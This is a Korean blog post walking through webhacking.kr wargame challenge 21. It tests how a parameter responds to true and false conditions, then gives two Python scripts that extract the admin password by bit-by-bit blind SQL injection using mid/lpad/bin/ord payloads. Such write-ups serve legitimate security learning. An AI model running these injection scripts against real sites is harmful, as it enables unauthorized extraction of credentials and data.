21번 문제를 접속하면 아래와 같이 어떤 문제인지 한 번에 알 수 있습니다.



Blind SQL Injection을 하라고 하네요.


우선 1, 0 값을 넣었을 때 어떻게 다른지 각각 넣어서 확인해봅시다.


우선 값을 제출하면 no, id, pw 3개의 인자가 GET 방식으로 전달이 되네요.


id, pw는 input text가 없는데 어떻게 넘어 갔을까요?


소스 보기를 했더니 hidden type으로 들어가 있네요.


no에서 Blind SQL Injection이 된다고 했으니 우선 (1)을 넣어 보겠습니다.



예상대로 True 라는 결과 값이 나옵니다.


(0)을 넣으면 False가 뜨겠죠? 한번 해보겠습니다.



그리고 필터링 여부를 확인하기 위해 union 값을 넣었는데 역시 필터링을 하고 있습니다.



위와 같이 no hack이라고 뜨네요.


그럼 문제를 풀기 위해선 적절한 필터링 우회를 하고 python script를 작성하면 풀리겠습니다.


항상 사용하는 스크립트에서 사용하는 함수인 mid, lpad, bin, ord 함수 모두 필터링에 걸리지 않음으로 그대로 사용해서 아래와 같이 작성해 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no='+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: guest


이상하게도 결과가 guest라고 나옵니다.


admin의 비밀번호를 가져오지 못하는 것이죠.


따라서 서브쿼리를 아래와 같이 작성해 줄 수도 있습니다.


subqry = "select pw from table_name where id='admin'"


하지만 table_name을 알 수 있는 방법이 없네요


그래서 테이블 구조와 row를 추측해보았습니다.



no가 2까지 있다는 것을 추측할 수 있는 근거는 no에 3을 넣었을 때 False값이 리턴됩니다.


따라서 no=2 and ({blind_injection_query}) 를 통해서 no가 2일 때의 row을 Blind Injection을 통해서 가져올 수 있습니다.


Python Script를 아래와 같이 다시 고쳐줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import urllib2, re
 
result = str()
subqry = "pw"
 
for i in range(120):
    temp = "0b0"
    for j in range(29):
        param = "(mid(lpad(bin(ord(mid((" + subqry + ")," + str(i) + ",1))),8,0)," + str(j) + ",1))"
        header = {'Cookie':'PHPSESSID=jeong0su'}
 
        req = urllib2.Request('http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20'+param+'&id=&pw=', headers=header)
        res = urllib2.urlopen(req)
 
        if re.findall("True", res.read()):
            temp += "1"
        else:
            temp += "0"
 
    result += chr(int(temp, 2))
    print result
 
# result: blindsqlinjectionkk


따라서 21번 문제의 Auth Key(Flag)는 admin의 pw가 되겠습니다.


끝!

'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 23번  (0) 2016.11.19
webhacking.kr 22번  (1) 2016.11.18
webhacking.kr 21번  (0) 2016.11.18
webhacking.kr 20번  (0) 2016.11.17
webhacking.kr 19번  (0) 2016.11.17
webhacking.kr 18번  (0) 2016.11.16

+ Recent posts